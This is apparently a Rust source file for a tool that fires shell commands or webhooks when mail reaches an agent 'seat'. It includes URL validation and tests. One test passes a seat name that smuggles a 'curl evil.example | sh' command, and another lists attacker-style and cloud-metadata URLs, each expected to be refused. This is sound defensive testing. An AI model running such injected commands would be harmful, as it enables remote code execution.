1use std::collections::BTreeMap;
40use std::io::Write;
41#[cfg(unix)]
42use std::os::fd::AsRawFd;
43use std::path::{Path, PathBuf};
44use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
45
46use anyhow::{bail, Context, Result};
47use serde::{Deserialize, Serialize};
48
49pub const WAKE_TIMEOUT_SECS: u64 = 30;
51
52const WEBHOOK_TIMEOUT_SECS: u64 = 10;
54
55pub(crate) const ENV_SOURCE: &str = "env";
57
58#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
60pub struct Wake {
61 #[serde(default, skip_serializing_if = "Option::is_none")]
63 pub command: Option<String>,
64 #[serde(default, skip_serializing_if = "Option::is_none")]
67 pub webhook: Option<String>,
68 #[serde(default, skip_serializing_if = "Option::is_none")]
70 pub key_file: Option<String>,
71 #[serde(default, skip_serializing_if = "Option::is_none")]
73 pub key_env: Option<String>,
74 #[serde(default, skip_serializing_if = "Option::is_none")]
76 pub timeout: Option<u64>,
77 #[serde(default, skip_serializing_if = "Option::is_none")]
80 pub source: Option<String>,
81}
82
83#[derive(Debug, Clone, Default, PartialEq, Eq)]
85pub struct Event {
86 pub seat: String,
87 pub from: String,
88 pub msg: String,
89 pub issue: Option<String>,
90 pub interrupt: bool,
91 pub commit: Option<String>,
94}
95
96#[must_use]
98pub fn path() -> PathBuf {
99 super::harnesses_path().with_file_name("wake.toml")
100}
101
102#[must_use]
105pub fn load() -> BTreeMap<String, Wake> {
106 std::fs::read_to_string(path())
107 .ok()
108 .and_then(|text| toml::from_str(&text).ok())
109 .unwrap_or_default()
110}
111
112#[cfg(test)]
113fn load_for_write() -> Result<BTreeMap<String, Wake>> {
114 load_path_for_write(&path())
115}
116
117fn load_path_for_write(wake_path: &Path) -> Result<BTreeMap<String, Wake>> {
118 let text = match std::fs::read_to_string(wake_path) {
119 Ok(text) => text,
120 Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(BTreeMap::new()),
121 Err(err) => {
122 return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
123 }
124 };
125 toml::from_str(&text).with_context(|| format!("wake: parse {}", wake_path.display()))
126}
127
128fn render(table: &BTreeMap<String, Wake>) -> Result<String> {
129 Ok(format!(
130 "# Wakes `ljos send` starts when mail reaches a seat. A name ending in -\n\
131 # matches every longer seat that starts with it. `ljos wake --help` sets them.\n{}",
132 toml::to_string(table)?
133 ))
134}
135
136fn lock_path(wake_path: &Path) -> PathBuf {
137 let mut name = wake_path
138 .file_name()
139 .map(|n| n.to_os_string())
140 .unwrap_or_else(|| "wake.toml".into());
141 name.push(".lock");
142 wake_path.with_file_name(name)
143}
144
145#[cfg(unix)]
146fn lock_exclusive(file: &std::fs::File) -> std::io::Result<()> {
147 let rc = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
148 if rc == 0 {
149 Ok(())
150 } else {
151 Err(std::io::Error::last_os_error())
152 }
153}
154
155#[cfg(not(unix))]
156fn lock_exclusive(_file: &std::fs::File) -> std::io::Result<()> {
157 Ok(())
158}
159
160#[cfg(unix)]
161fn wake_file_mode(wake_path: &Path) -> u32 {
162 use std::os::unix::fs::PermissionsExt;
163
164 std::fs::symlink_metadata(wake_path)
165 .ok()
166 .filter(|meta| meta.file_type().is_file())
167 .map(|meta| meta.permissions().mode() & 0o777)
168 .unwrap_or(0o600)
169}
170
171fn save_atomic(wake_path: &Path, table: &BTreeMap<String, Wake>) -> Result<()> {
172 let text = render(table)?;
173 let dir = wake_path
174 .parent()
175 .context("wake: no directory for wake.toml")?;
176 std::fs::create_dir_all(dir)?;
177 let stamp = SystemTime::now()
178 .duration_since(UNIX_EPOCH)
179 .unwrap_or_default()
180 .as_nanos();
181 let mut tmp_name = wake_path
182 .file_name()
183 .map(|n| n.to_os_string())
184 .unwrap_or_else(|| "wake.toml".into());
185 tmp_name.push(format!(".tmp-{}-{stamp}", std::process::id()));
186 let tmp = dir.join(tmp_name);
187 #[cfg(unix)]
188 let mode = wake_file_mode(wake_path);
189 {
190 let mut options = std::fs::OpenOptions::new();
191 options.create_new(true).write(true);
192 #[cfg(unix)]
193 {
194 use std::os::unix::fs::OpenOptionsExt;
195 options.mode(0o600);
196 }
197 let mut out = options
198 .open(&tmp)
199 .with_context(|| format!("wake: {}", tmp.display()))?;
200 out.write_all(text.as_bytes())
201 .with_context(|| format!("wake: {}", tmp.display()))?;
202 out.sync_all()
203 .with_context(|| format!("wake: {}", tmp.display()))?;
204 }
205 #[cfg(unix)]
206 {
207 use std::os::unix::fs::PermissionsExt;
208 std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(mode))
209 .with_context(|| format!("wake: mode {mode:04o} {}", tmp.display()))?;
210 }
211 if let Err(err) = std::fs::rename(&tmp, wake_path) {
212 let _ = std::fs::remove_file(&tmp);
213 return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
214 }
215 Ok(())
216}
217
218fn edit_table<T>(edit: impl FnOnce(&mut BTreeMap<String, Wake>) -> Result<(T, bool)>) -> Result<T> {
219 let wake_path = path();
220 if let Some(dir) = wake_path.parent() {
221 std::fs::create_dir_all(dir)?;
222 }
223 let lock_file_path = lock_path(&wake_path);
224 let lock = std::fs::OpenOptions::new()
225 .create(true)
226 .read(true)
227 .write(true)
228 .truncate(false)
229 .open(&lock_file_path)
230 .with_context(|| format!("wake: {}", lock_file_path.display()))?;
231 lock_exclusive(&lock).with_context(|| format!("wake: lock {}", lock_file_path.display()))?;
232 let mut table = load_path_for_write(&wake_path)?;
233 let (out, changed) = edit(&mut table)?;
234 if changed {
235 save_atomic(&wake_path, &table)?;
236 }
237 Ok(out)
238}
239
240#[must_use]
246pub fn judge(command: &str) -> Option<super::Rule> {
247 match super::seat_guard(command) {
248 Some(rule) => super::policyd_block(command, None).or(Some(rule)),
249 None => super::tcb_verdict(command),
250 }
251 .or_else(|| super::ruled_verdict(&super::rules_for_gate(), command))
252}
253
254fn warning(command: &str) -> Result<String> {
258 match judge(command) {
259 Some(rule) if rule.blocks() => bail!(
260 "the guard says deny on `{command}`: {} (rule: {}). A wake runs with nobody to ask, so it does not run",
261 rule.reason,
262 rule.pattern
263 ),
264 Some(rule) => Ok(format!("{}\n", rule.warning())),
265 None => Ok(String::new()),
266 }
267}
268
269pub(crate) fn check_webhook(url: &str) -> Result<()> {
273 if !webhook_host_allowed(url) {
274 bail!("wake: {url} is not https, nor http on this machine");
275 }
276 Ok(())
277}
278
279fn webhook_host_allowed(url: &str) -> bool {
280 let Ok(parsed) = url::Url::parse(url) else {
281 return false;
282 };
283 match parsed.scheme() {
284 "https" => parsed.host().is_some(),
285 "http" => http_host_is_loopback(parsed.host()),
286 _ => false,
287 }
288}
289
290fn http_host_is_loopback(host: Option<url::Host<&str>>) -> bool {
291 match host {
292 Some(url::Host::Domain(name)) => name.eq_ignore_ascii_case("localhost"),
293 Some(url::Host::Ipv4(addr)) => addr.is_loopback(),
294 Some(url::Host::Ipv6(addr)) => addr.is_loopback(),
296 None => false,
297 }
298}
299
300pub fn set_command(seat: &str, command: &str, timeout: Option<u64>) -> Result<String> {
307 let command = command.trim();
308 if command.is_empty() {
309 bail!("wake: empty command");
310 }
311 let warned = warning(command).map_err(|why| anyhow::anyhow!("wake: {why}"))?;
312 let next = Wake {
313 command: Some(command.to_string()),
314 timeout,
315 ..Wake::default()
316 };
317 edit_table(|table| {
318 let changed = table.get(seat) != Some(&next);
319 if changed {
320 table.insert(seat.to_string(), next.clone());
321 }
322 Ok(((), changed))
323 })?;
324 Ok(format!(
325 "wake {seat}: runs `{command}` {}\n{warned}",
326 reaches(seat)
327 ))
328}
329
330pub fn set_webhook(
337 seat: &str,
338 url: &str,
339 key_file: Option<&str>,
340 key_env: Option<&str>,
341) -> Result<String> {
342 let url = url.trim();
343 check_webhook(url)?;
344 let next = Wake {
345 webhook: Some(url.to_string()),
346 key_file: key_file.map(str::to_string),
347 key_env: key_env.map(str::to_string),
348 ..Wake::default()
349 };
350 edit_table(|table| {
351 let changed = table.get(seat) != Some(&next);
352 if changed {
353 table.insert(seat.to_string(), next.clone());
354 }
355 Ok(((), changed))
356 })?;
357 Ok(format!("wake {seat}: posts to {url} {}\n", reaches(seat)))
358}
359
360pub(crate) fn set_env_webhook(seat: &str, url: &str, key_env: &str) -> Result<bool> {
370 let url = url.trim();
371 check_webhook(url)?;
372 let next = Wake {
373 webhook: Some(url.to_string()),
374 key_env: Some(key_env.to_string()),
375 source: Some(ENV_SOURCE.to_string()),
376 ..Wake::default()
377 };
378 edit_table(|table| {
379 let hand_set = table
380 .get(seat)
381 .is_some_and(|wake| wake.source.as_deref() != Some(ENV_SOURCE));
382 if hand_set {
383 return Ok((false, false));
384 }
385 let changed = table.get(seat) != Some(&next);
386 if changed {
387 table.insert(seat.to_string(), next.clone());
388 }
389 Ok((true, changed))
390 })
391}
392
393pub(crate) fn clear_env_webhook(seat: &str) -> Result<bool> {
397 edit_table(|table| {
398 let remove = table
399 .get(seat)
400 .is_some_and(|wake| wake.source.as_deref() == Some(ENV_SOURCE));
401 if remove {
402 table.remove(seat);
403 }
404 Ok((remove, remove))
405 })
406}
407
408pub fn clear(seat: &str) -> Result<String> {
414 edit_table(|table| {
415 if table.remove(seat).is_none() {
416 if let Some((key, _)) = resolve(table, seat) {
417 if key != seat {
418 return Ok((
419 format!("wake {seat}: none set; matches {key}. clear {key} to remove it\n"),
420 false,
421 ));
422 }
423 }
424 return Ok((format!("wake {seat}: none set\n"), false));
425 }
426 Ok((format!("wake {seat}: removed\n"), true))
427 })
428}
429
430#[must_use]
433pub fn show(seat: &str) -> String {
434 let table = load();
435 let Some((key, wake)) = resolve(&table, seat) else {
436 return none_set(seat);
437 };
438 let how = if let Some(command) = &wake.command {
439 format!("runs `{command}`")
440 } else if let Some(url) = &wake.webhook {
441 format!("posts to {url}")
442 } else {
443 return none_set(seat);
444 };
445 if key != seat {
446 format!("wake {seat}: {how} (matches {key})\n")
447 } else if is_prefix_key(key) {
448 format!("wake {seat}: {how} when mail reaches a seat that starts with it\n")
449 } else {
450 format!("wake {seat}: {how}\n")
451 }
452}
453
454fn none_set(seat: &str) -> String {
455 format!(
456 "wake {seat}: none set, so mail waits for its next prompt. `ljos wake --command CMD` sets one\n"
457 )
458}
459
460fn reaches(seat: &str) -> &'static str {
462 if is_prefix_key(seat) {
463 "when mail reaches a seat that starts with it"
464 } else {
465 "when mail reaches it"
466 }
467}
468
469fn is_prefix_key(key: &str) -> bool {
473 matches!(key.strip_suffix('-'), Some(stem) if !stem.is_empty() && !stem.ends_with('-'))
474}
475
476fn resolve<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<(&'a str, &'a Wake)> {
478 if let Some((key, wake)) = table.get_key_value(seat) {
479 return Some((key.as_str(), wake));
480 }
481 if super::seat_slug(seat) != seat {
483 return None;
484 }
485 table
486 .iter()
487 .filter(|(key, _)| {
488 is_prefix_key(key) && seat.len() > key.len() && seat.starts_with(key.as_str())
489 })
490 .max_by_key(|(key, _)| key.len())
491 .map(|(key, wake)| (key.as_str(), wake))
492}
493
494fn resolve_delivery<'a>(
496 table: &'a BTreeMap<String, Wake>,
497 seat: &str,
498) -> Option<(&'a str, &'a Wake)> {
499 let (key, wake) = resolve(table, seat)?;
500 (key != seat || !is_prefix_key(key)).then_some((key, wake))
501}
502
503fn matched_prefix<'a>(key: &'a str, seat: &str) -> Option<&'a str> {
504 (key != seat && is_prefix_key(key)).then_some(key)
505}
506
507fn launcher_seat(key: &str) -> &str {
508 if is_prefix_key(key) {
509 key.strip_suffix('-').unwrap_or(key)
510 } else {
511 key
512 }
513}
514
515fn wake_target(seat: &str, key: &str) -> String {
516 if let Some(via) = matched_prefix(key, seat) {
517 format!("{} via {via} for {seat}", launcher_seat(via))
518 } else {
519 key.to_string()
520 }
521}
522
523fn push_mode() -> bool {
526 std::env::var("LJOS_TRACKER_GIT").as_deref() == Ok("push")
527}
528
529fn log_path() -> PathBuf {
530 std::env::var_os("XDG_STATE_HOME")
531 .map(PathBuf::from)
532 .or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".local/state")))
533 .unwrap_or_else(|| PathBuf::from(".local/state"))
534 .join("ljos")
535 .join("mail")
536 .join("wake.log")
537}
538
539fn log(line: &str) {
540 let path = log_path();
541 if let Some(dir) = path.parent() {
542 let _ = std::fs::create_dir_all(dir);
543 }
544 if let Ok(mut f) = std::fs::OpenOptions::new()
545 .create(true)
546 .append(true)
547 .open(&path)
548 {
549 let _ = writeln!(f, "{} {line}", super::now_utc());
550 }
551}
552
553fn wake_bin() -> Option<String> {
555 if let Some(bin) = std::env::var_os("LJOS_WAKE_BIN").filter(|b| !b.is_empty()) {
556 return Some(bin.to_string_lossy().into_owned());
557 }
558 let me = std::env::current_exe().ok();
559 let beside = me.as_ref().map(|m| m.with_file_name("ljos"));
560 me.filter(|m| m.file_stem().is_some_and(|s| s == "ljos"))
561 .or(beside.filter(|p| p.is_file()))
562 .or_else(|| which::which("ljos").ok())
563 .map(|p| p.display().to_string())
564}
565
566#[must_use]
571pub fn spawn(events: &[Event]) -> Vec<String> {
572 let table = load();
573 let mut woken = Vec::new();
574 for event in events {
575 let Some((key, _)) = resolve_delivery(&table, &event.seat) else {
576 continue;
577 };
578 let Some(bin) = wake_bin() else {
579 log(&format!("{}: no ljos to run the wake", event.seat));
580 continue;
581 };
582 let mut args = vec![
583 "wake".to_string(),
584 event.seat.clone(),
585 "--fire".into(),
586 "--from".into(),
587 event.from.clone(),
588 "--msg".into(),
589 event.msg.clone(),
590 ];
591 if let Some(issue) = &event.issue {
592 args.push("--issue".into());
593 args.push(issue.clone());
594 }
595 if event.interrupt {
596 args.push("--interrupt".into());
597 }
598 match super::detach(&bin, &args, std::path::Path::new("/dev/null")) {
601 Ok(()) => woken.push(wake_target(&event.seat, key)),
602 Err(e) => log(&format!("{}: the wake did not start: {e:#}", event.seat)),
603 }
604 }
605 woken
606}
607
608#[must_use]
611pub fn envelope(event: &Event) -> serde_json::Value {
612 let seat = crate::tools::sh_quote(&event.seat);
613 let read = match &event.commit {
614 Some(commit) => format!("LJOS_SEAT={seat} ljos inbox --sync {commit}"),
615 None => format!("LJOS_SEAT={seat} ljos inbox"),
616 };
617 let mut v = serde_json::json!({
618 "event": "ljos-mail",
619 "seat": event.seat,
620 "from": event.from,
621 "msg": event.msg,
622 "issue": event.issue,
623 "interrupt": event.interrupt,
624 "read": read,
625 });
626 if let Some(commit) = &event.commit {
627 v["commit"] = serde_json::Value::String(commit.clone());
628 }
629 v
630}
631
632fn webhook_key(wake: &Wake) -> Option<String> {
633 let from_file = wake.key_file.as_deref().and_then(|p| {
634 let path = p
635 .strip_prefix("~/")
636 .and_then(|rest| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(rest)))
637 .unwrap_or_else(|| PathBuf::from(p));
638 std::fs::read_to_string(path).ok()
639 });
640 from_file
641 .or_else(|| wake.key_env.as_deref().and_then(|v| std::env::var(v).ok()))
642 .map(|k| k.trim().to_string())
643 .filter(|k| !k.is_empty())
644}
645
646fn run_command(command: &str, event: &Event, timeout: Duration) -> Result<String> {
647 let warned = warning(command)?;
648 let mut cmd = std::process::Command::new("sh");
649 cmd.arg("-c")
650 .arg(command)
651 .env("LJOS_SEAT", &event.seat)
652 .env("LJOS_WAKE_SEAT", &event.seat)
653 .env("LJOS_WAKE_FROM", &event.from)
654 .env("LJOS_WAKE_MSG", &event.msg)
655 .env("LJOS_WAKE_ISSUE", event.issue.as_deref().unwrap_or(""))
656 .env(
657 "LJOS_WAKE_INTERRUPT",
658 if event.interrupt { "1" } else { "0" },
659 )
660 .stdin(std::process::Stdio::null());
661 match &event.commit {
662 Some(commit) => {
663 cmd.env("LJOS_WAKE_COMMIT", commit);
664 }
665 None => {
666 cmd.env_remove("LJOS_WAKE_COMMIT");
667 }
668 }
669 let path = log_path();
672 if let Some(dir) = path.parent() {
673 let _ = std::fs::create_dir_all(dir);
674 }
675 if let Ok(mut out) = std::fs::OpenOptions::new()
676 .create(true)
677 .append(true)
678 .open(&path)
679 {
680 let _ = out.write_all(warned.as_bytes());
681 if let Ok(err) = out.try_clone() {
682 cmd.stdout(out).stderr(err);
683 }
684 }
685 let mut child = cmd.spawn().context("start the wake command")?;
686 let started = Instant::now();
687 loop {
688 if let Some(status) = child.try_wait()? {
689 if status.success() {
690 return Ok(format!("ran in {} ms", started.elapsed().as_millis()));
691 }
692 bail!("exited {status}");
693 }
694 if started.elapsed() >= timeout {
695 let _ = child.kill();
697 let _ = child.wait();
698 bail!("stopped after {} ms", timeout.as_millis());
699 }
700 std::thread::sleep(Duration::from_millis(20));
701 }
702}
703
704fn post(url: &str, wake: &Wake, event: &Event, via: Option<&str>) -> Result<String> {
705 check_webhook(url)?;
706 let agent = ureq::AgentBuilder::new()
707 .timeout(Duration::from_secs(WEBHOOK_TIMEOUT_SECS))
708 .redirects(0)
709 .build();
710 let mut req = agent.post(url).set("Content-Type", "application/json");
711 if let Some(key) = webhook_key(wake) {
712 req = req.set("Authorization", &format!("Bearer {key}"));
713 }
714 let started = Instant::now();
715 let mut envelope = envelope(event);
716 if let Some(via) = via {
717 envelope["via"] = serde_json::Value::String(via.to_string());
718 }
719 let resp = req.send_string(&envelope.to_string()).map_err(|e| {
720 anyhow::anyhow!("POST {url}: {}", e.to_string().replace(url, "the webhook"))
721 })?;
722 if (300..400).contains(&resp.status()) {
723 bail!(
724 "POST the webhook: refused redirect status {}",
725 resp.status()
726 );
727 }
728 Ok(format!(
729 "posted, {} in {} ms",
730 resp.status(),
731 started.elapsed().as_millis()
732 ))
733}
734
735pub fn fire(event: &Event) -> Result<String> {
750 let table = load();
751 let Some((key, wake)) = resolve_delivery(&table, &event.seat) else {
752 bail!("wake: {} has no wake set", event.seat);
753 };
754 let via = matched_prefix(key, &event.seat);
755 let named = wake_target(&event.seat, key);
756 let mut carried = event.clone();
761 if push_mode() {
762 if let Err(why) = super::sync::push_sealed_log() {
763 log(&format!("{}: {why:#}", carried.seat));
764 }
765 carried.commit = super::sync::log_commit();
766 }
767 let outcome = if let Some(command) = &wake.command {
768 let timeout = Duration::from_secs(wake.timeout.unwrap_or(WAKE_TIMEOUT_SECS).max(1));
769 run_command(command, &carried, timeout)
770 } else if let Some(url) = &wake.webhook {
771 post(url, wake, &carried, via)
772 } else {
773 Err(anyhow::anyhow!("neither a command nor a webhook"))
774 };
775 match outcome {
776 Ok(said) => {
777 log(&format!("{named} {}: {said}", carried.msg));
778 Ok(format!("wake {named}: {said}\n"))
779 }
780 Err(e) => {
781 log(&format!("{named} {}: {e:#}", carried.msg));
782 Err(e).context(format!("wake {named}"))
783 }
784 }
785}
786
787#[cfg(test)]
788mod tests {
789 use super::*;
790
791 #[test]
792 fn a_wake_reads_back_as_written_and_keeps_no_key() {
793 let mut table = BTreeMap::new();
794 table.insert(
795 "grok".to_string(),
796 Wake {
797 webhook: Some("https://api2.cursor.sh/automations/webhook/abc".into()),
798 key_file: Some("~/.config/ljos/grok.key".into()),
799 ..Wake::default()
800 },
801 );
802 table.insert(
803 "claude-review".to_string(),
804 Wake {
805 command: Some("claude -p --resume \"$SESSION\" 'ljos inbox'".into()),
806 timeout: Some(120),
807 ..Wake::default()
808 },
809 );
810 table.insert(
811 "ljosbot-review-".to_string(),
812 Wake {
813 webhook: Some("https://example.test/launch".into()),
814 key_env: Some("LJOS_WAKE_LAUNCHER_KEY".into()),
815 ..Wake::default()
816 },
817 );
818 let text = toml::to_string(&table).unwrap();
819 assert!(!text.contains("key ="), "{text}");
820 let back: BTreeMap<String, Wake> = toml::from_str(&text).unwrap();
821 assert_eq!(back, table);
822 }
823
824 #[test]
825 fn a_webhook_gets_the_envelope_and_not_the_body() {
826 let event = Event {
827 seat: "grok".into(),
828 from: "saddle".into(),
829 msg: "m1".into(),
830 issue: Some("Software-d9n6".into()),
831 interrupt: true,
832 commit: None,
833 };
834 let v = envelope(&event);
835 assert_eq!(v["seat"], "grok");
836 assert_eq!(v["msg"], "m1");
837 assert_eq!(v["interrupt"], true);
838 assert!(v.get("commit").is_none(), "{v}");
839 assert_eq!(v["read"], "LJOS_SEAT='grok' ljos inbox");
840 assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
841 let named = Event {
842 commit: Some("0123456789abcdef0123456789abcdef01234567".into()),
843 ..event
844 };
845 let named_v = envelope(&named);
846 assert_eq!(
847 named_v["commit"],
848 "0123456789abcdef0123456789abcdef01234567"
849 );
850 assert_eq!(
851 named_v["read"],
852 "LJOS_SEAT='grok' ljos inbox --sync 0123456789abcdef0123456789abcdef01234567"
853 );
854 assert!(check_webhook("http://example.com/hook").is_err());
855 assert!(check_webhook("https://api2.cursor.sh/automations/webhook/x").is_ok());
856 assert!(check_webhook("http://127.0.0.1:9/hook").is_ok());
857 }
858
859 #[test]
860 fn http_is_loopback_only_and_an_attacker_suffix_is_refused() {
861 for url in [
862 "http://localhost.attacker.invalid/hook",
863 "http://127.0.0.1.attacker.invalid/hook",
864 "http://localhost@attacker.invalid/hook",
865 "http://127.0.0.1@attacker.invalid/hook",
866 "http://example.com/hook",
867 "http://169.254.169.254/latest/meta-data",
868 "http://0.0.0.0/hook",
869 "http://[::2]/hook",
870 ] {
871 assert!(check_webhook(url).is_err(), "{url}");
872 }
873 for url in [
874 "https://api2.cursor.sh/automations/webhook/x",
875 "https://localhost.attacker.invalid/hook",
876 "http://127.0.0.1:9/hook",
877 "http://127.0.0.2/hook",
878 "http://2130706433/hook",
879 "http://localhost/hook",
880 "http://localhost:9/hook",
881 "http://[::1]/hook",
882 "http://[::1]:9/hook",
883 "http://[0:0:0:0:0:0:0:1]/hook",
884 "http://user:secret@127.0.0.1/hook",
885 ] {
886 assert!(check_webhook(url).is_ok(), "{url}");
887 }
888 }
889
890 #[test]
891 fn a_wake_that_runs_past_its_timeout_is_stopped() {
892 let event = Event {
893 seat: "slow".into(),
894 ..Event::default()
895 };
896 let started = Instant::now();
897 let err = run_command("sleep 5", &event, Duration::from_millis(300)).unwrap_err();
898 assert!(err.to_string().contains("stopped after"), "{err}");
899 assert!(started.elapsed() < Duration::from_secs(3));
900 let ok = run_command("test \"$LJOS_SEAT\" = slow", &event, Duration::from_secs(5));
901 assert!(ok.is_ok(), "{ok:?}");
902 }
903
904 fn hook(url: &str) -> Wake {
905 Wake {
906 webhook: Some(url.to_string()),
907 ..Wake::default()
908 }
909 }
910
911 fn matched<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<&'a str> {
912 resolve(table, seat).map(|(key, _)| key)
913 }
914
915 #[test]
916 fn a_prefix_matches_a_run_and_an_exact_name_wins() {
917 let mut table = BTreeMap::new();
918 table.insert("inky".into(), hook("https://example.test/inky"));
919 table.insert("ljosbot-".into(), hook("https://example.test/ljosbot"));
920 table.insert(
921 "ljosbot-review-".into(),
922 hook("https://example.test/review"),
923 );
924 table.insert(
925 "ljosbot-review-abc".into(),
926 hook("https://example.test/exact"),
927 );
928 table.insert("-".into(), hook("https://example.test/bare"));
929 table.insert("--".into(), hook("https://example.test/dashes"));
930 table.insert("a--".into(), hook("https://example.test/double"));
931
932 assert!(is_prefix_key("ljosbot-review-"));
933 assert!(is_prefix_key("a-"));
934 assert!(!is_prefix_key("ljosbot-review"));
935 assert!(!is_prefix_key("-"));
936 assert!(!is_prefix_key("--"));
937 assert!(!is_prefix_key("a--"));
938
939 assert_eq!(matched(&table, "inky"), Some("inky"));
940 assert_eq!(
941 matched(&table, "ljosbot-review-def"),
942 Some("ljosbot-review-")
943 );
944 assert_eq!(matched(&table, "ljosbot-fix-1"), Some("ljosbot-"));
945 assert_eq!(matched(&table, "ljosbot-reviewer"), Some("ljosbot-"));
947 assert_eq!(
948 matched(&table, "ljosbot-review-abc"),
949 Some("ljosbot-review-abc")
950 );
951 assert_eq!(matched(&table, "ljosbot"), None);
952 assert_eq!(matched(&table, "inky-2"), None);
953 assert_eq!(matched(&table, "a-b"), None);
954 assert_eq!(matched(&table, "-b"), None);
955
956 let mut review_only = BTreeMap::new();
957 review_only.insert(
958 "ljosbot-review-".into(),
959 hook("https://example.test/review"),
960 );
961 assert_eq!(
962 matched(&review_only, "ljosbot-review-def"),
963 Some("ljosbot-review-")
964 );
965 assert_eq!(
966 matched(&review_only, "ljosbot-review-x;curl${IFS}evil.example|sh"),
967 None
968 );
969 assert_eq!(matched(&review_only, "ljosbot-reviewer"), None);
970 assert_eq!(matched(&review_only, "ljosbot-review"), None);
971 assert_eq!(
972 reaches("ljosbot-review-"),
973 "when mail reaches a seat that starts with it"
974 );
975 assert_eq!(reaches("inky"), "when mail reaches it");
976 }
977
978 fn read_http(sock: &mut std::net::TcpStream) -> String {
979 use std::io::Read;
980 sock.set_read_timeout(Some(Duration::from_secs(2))).ok();
981 let mut buf = Vec::new();
982 let mut tmp = [0u8; 1024];
983 loop {
984 let n = sock.read(&mut tmp).unwrap_or(0);
985 if n == 0 {
986 break;
987 }
988 buf.extend_from_slice(&tmp[..n]);
989 if let Some(at) = buf.windows(4).position(|w| w == b"\r\n\r\n") {
990 let headers = &buf[..at];
991 let mut need = 0usize;
992 for line in headers.split(|b| *b == b'\n') {
993 let line = std::str::from_utf8(line).unwrap_or("").trim();
994 if let Some(v) = line
995 .split_once(':')
996 .filter(|(k, _)| k.eq_ignore_ascii_case("content-length"))
997 .map(|(_, v)| v.trim())
998 {
999 need = v.parse().unwrap_or(0);
1000 }
1001 }
1002 if buf.len().saturating_sub(at + 4) >= need {
1003 break;
1004 }
1005 }
1006 }
1007 String::from_utf8_lossy(&buf).into_owned()
1008 }
1009
1010 fn serve_one() -> (u16, std::sync::mpsc::Receiver<String>) {
1011 let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind");
1012 let port = listener.local_addr().expect("addr").port();
1013 let (tx, rx) = std::sync::mpsc::channel();
1014 std::thread::spawn(move || {
1015 let Ok((mut sock, _)) = listener.accept() else {
1016 return;
1017 };
1018 let req = read_http(&mut sock);
1019 let _ = tx.send(req);
1020 let _ = std::io::Write::write_all(
1021 &mut sock,
1022 b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
1023 );
1024 });
1025 (port, rx)
1026 }
1027
1028 #[test]
1029 fn a_webhook_redirect_is_refused_and_not_followed() {
1030 let (_lock, _dir) = isolated();
1031 let (target_port, target_rx) = serve_one();
1032 let redirect = std::net::TcpListener::bind("127.0.0.1:0").expect("redirect bind");
1033 let redirect_port = redirect.local_addr().expect("redirect addr").port();
1034 let (first_tx, first_rx) = std::sync::mpsc::channel();
1035 std::thread::spawn(move || {
1036 let Ok((mut sock, _)) = redirect.accept() else {
1037 return;
1038 };
1039 let req = read_http(&mut sock);
1040 let _ = first_tx.send(req);
1041 let location = format!("http://127.0.0.1:{target_port}/next");
1042 let reply = format!(
1043 "HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
1044 );
1045 let _ = std::io::Write::write_all(&mut sock, reply.as_bytes());
1046 });
1047 let hook = format!("http://127.0.0.1:{redirect_port}/hook");
1048 set_webhook("inky", &hook, None, None).expect("set webhook");
1049 let err = fire(&Event {
1050 seat: "inky".into(),
1051 from: "vm-seat".into(),
1052 msg: "m1".into(),
1053 ..Event::default()
1054 })
1055 .expect_err("redirected webhook must fail");
1056 let said = format!("{err:#}");
1057 assert!(said.contains("302"), "{said}");
1058 let first = first_rx
1059 .recv_timeout(Duration::from_secs(3))
1060 .expect("redirect request");
1061 assert!(first.starts_with("POST /hook"), "{first}");
1062 assert!(
1063 target_rx.recv_timeout(Duration::from_millis(700)).is_err(),
1064 "redirect target was called"
1065 );
1066 }
1067
1068 #[test]
1069 fn concurrent_writers_and_reader_keep_every_entry() {
1070 use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
1071 use std::sync::{Arc, Barrier};
1072
1073 let (_lock, _dir) = isolated();
1074 set_command("seed", "true", None).expect("seed");
1075 let left_payload = "a".repeat(40_000);
1076 let right_payload = "b".repeat(40_000);
1077
1078 let done = Arc::new(AtomicBool::new(false));
1079 let parse_errors = Arc::new(AtomicUsize::new(0));
1080 let done_reader = Arc::clone(&done);
1081 let parse_reader = Arc::clone(&parse_errors);
1082 let reader = std::thread::spawn(move || {
1083 while !done_reader.load(Ordering::Relaxed) {
1084 if let Ok(text) = std::fs::read_to_string(path()) {
1085 if !text.is_empty() && toml::from_str::<BTreeMap<String, Wake>>(&text).is_err()
1086 {
1087 parse_reader.fetch_add(1, Ordering::Relaxed);
1088 }
1089 }
1090 std::hint::spin_loop();
1091 }
1092 });
1093
1094 for round in 0..40 {
1095 let gate = Arc::new(Barrier::new(2));
1096 let left_gate = Arc::clone(&gate);
1097 let right_gate = Arc::clone(&gate);
1098 let left_cmd = format!("{left_payload}{round}");
1099 let right_cmd = format!("{right_payload}{round}");
1100 let left = std::thread::spawn(move || {
1101 left_gate.wait();
1102 set_command("alpha", &left_cmd, None).expect("left write");
1103 });
1104 let right = std::thread::spawn(move || {
1105 right_gate.wait();
1106 set_command("beta", &right_cmd, None).expect("right write");
1107 });
1108 left.join().expect("left join");
1109 right.join().expect("right join");
1110 let table = load_for_write().expect("table parse");
1111 assert!(
1112 table.contains_key("alpha") && table.contains_key("beta"),
1113 "lost wake entry on round {round}: {table:?}"
1114 );
1115 }
1116 done.store(true, Ordering::Relaxed);
1117 reader.join().expect("reader join");
1118 assert_eq!(
1119 parse_errors.load(Ordering::Relaxed),
1120 0,
1121 "reader saw torn writes"
1122 );
1123 }
1124
1125 fn body_of(raw: &str) -> serde_json::Value {
1126 let body = raw
1127 .split_once("\r\n\r\n")
1128 .map(|(_, body)| body)
1129 .unwrap_or(raw);
